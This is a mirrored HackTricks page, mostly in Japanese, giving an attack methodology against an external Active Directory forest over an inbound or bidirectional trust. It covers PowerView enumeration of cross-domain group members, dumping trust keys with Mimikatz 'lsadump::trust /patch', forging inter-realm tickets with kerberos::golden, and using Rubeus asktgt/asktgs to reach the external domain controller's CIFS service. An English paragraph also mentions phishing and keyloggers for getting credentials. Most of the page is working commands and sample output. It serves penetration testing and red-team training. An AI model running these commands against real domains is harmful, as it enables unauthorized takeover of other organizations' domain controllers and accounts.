Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md
Translator workflow e90c803209 Translated to Japanese
2023-07-07 23:42:27 +00:00

10 KiB
Raw Blame History

外部フォレストドメイン - 単方向（インバウンド）または双方向

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

このシナリオでは、外部ドメインがあなたを信頼しています（またはお互いを信頼しています）、そのためある種のアクセスを取得できます。

列挙

まず、信頼関係を列挙する必要があります：

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

前の列挙で、ユーザー**crossuserがExternal Adminsグループに所属しており、外部ドメインのDCで管理者アクセス**を持っていることがわかりました。

初期アクセス

他のドメインでユーザーの特別なアクセス権限を見つけることができなかった場合、AD Methodologyに戻って特権のないユーザーからの特権昇格を試すことができます（例えば、kerberoastingなど）：

-Domainパラメータを使用して、Powerview関数を使用して他のドメインを列挙することができます。例：

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

偽装

ログイン

外部ドメインにアクセス権限を持つユーザーの資格情報を使用して通常の方法でアクセスできるはずです。

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

SID Historyの悪用

フォレスト間の信頼関係を利用して、SID Historyを悪用することもできます。

ユーザーが1つのフォレストから別のフォレストに移行され、SIDフィルタリングが有効にされていない場合、他のフォレストからSIDを追加することが可能になります。そして、このSIDは、信頼関係を介して認証する際に、ユーザーのトークンに追加されます。

{% hint style="warning" %} 注意として、署名キーを取得することができます。

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

{% endhint %}

現在のドメインのユーザーをなりすまし、信頼されたキーでTGTに署名することができます。

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

ユーザーの完全ななりすまし方法

In this technique, we will impersonate the user in order to gain full access to their account and perform actions on their behalf. This method requires administrative privileges and can be used to bypass security measures and gain unauthorized access to sensitive information.

To impersonate the user, we will need to obtain their credentials, such as their username and password. This can be done through various means, such as phishing attacks, keyloggers, or password cracking techniques.

Once we have obtained the user's credentials, we can use them to log in to their account and gain full access. This allows us to perform actions on their behalf, such as accessing their files, sending emails, or even making changes to their account settings.

It is important to note that impersonating a user without their consent is illegal and unethical. This technique should only be used for legitimate purposes, such as penetration testing or authorized security audits.

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥